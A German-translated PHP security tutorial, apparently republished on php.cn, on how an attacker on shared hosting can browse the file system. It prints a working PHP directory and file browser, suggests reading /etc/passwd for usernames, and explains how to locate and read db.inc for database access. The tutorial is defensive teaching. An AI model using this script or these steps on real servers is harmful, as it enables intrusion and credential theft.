PHP-Sicherheit – Durchsuchen von Dateisystemen

黄舟
Freigeben: 2023-03-05 20:44:01
Original
889 Leute haben es durchsucht



Durchsuchen des Dateisystems

Der Angreifer kann nicht nur beliebige Dateien auf dem gemeinsam genutzten Server lesen, sondern auch ein Skript erstellen, das das Dateisystem durchsuchen kann. Da die meisten Ihrer sensiblen Dateien nicht im Home-Verzeichnis Ihrer Website gespeichert werden, wird diese Art von Skript im Allgemeinen verwendet, um den Speicherort Ihrer Quelldateien zu ermitteln. Bitte sehen Sie sich das folgende Beispiel an:

 <pre class="brush:php;toolbar:false">
 
  <?php
 
  if (isset($_GET[&#39;dir&#39;]))
  {
    ls($_GET[&#39;dir&#39;]);
  }
  elseif (isset($_GET[&#39;file&#39;]))
  {
    cat($_GET[&#39;file&#39;]);
  }
  else
  {
    ls(&#39;/&#39;);
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, &#39;UTF-8&#39;));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = &#39;dir&#39;;
        $filename .= &#39;/&#39;;
      }
      else
      {
        $type = &#39;file&#39;;
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER[&#39;PHP_SELF&#39;]}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>
 
  
Nach dem Login kopieren


Ein Angreifer kann sich zunächst die Datei /etc/passwd oder das Verzeichnis /home ansehen, um eine Liste der Benutzernamen auf dem Server zu erhalten. Der Speicherort von Quelldateien, die außerhalb des Home-Verzeichnisses der Website gespeichert sind, kann über Sprachstrukturen wie include oder require ermittelt werden. Betrachten Sie beispielsweise die folgende Skriptdatei /home/victim/public_html/admin.php:

  <?php
 
  include &#39;../inc/db.inc&#39;;
 
  /* ... */
 
  ?>
Nach dem Login kopieren


Wenn es einem Angreifer gelingt, den Quellcode der Datei anzuzeigen, kann er den Speicherort von db.inc ermitteln und mit der Funktion readfile() deren Inhalt offenlegen und Zugriff auf die Datenbank erhalten. Daher schützt das Speichern von db.inc außerhalb des Home-Verzeichnisses der Website in dieser Umgebung nicht.

Dieser Angriff veranschaulicht, warum alle Quelldateien auf einem gemeinsam genutzten Server als öffentlich betrachtet und die Datenbank zum Speichern aller sensiblen Daten ausgewählt werden sollten.

Das Obige ist der Inhalt des PHP-Sicherheitsdateisystems. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.org). php.cn)!


Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage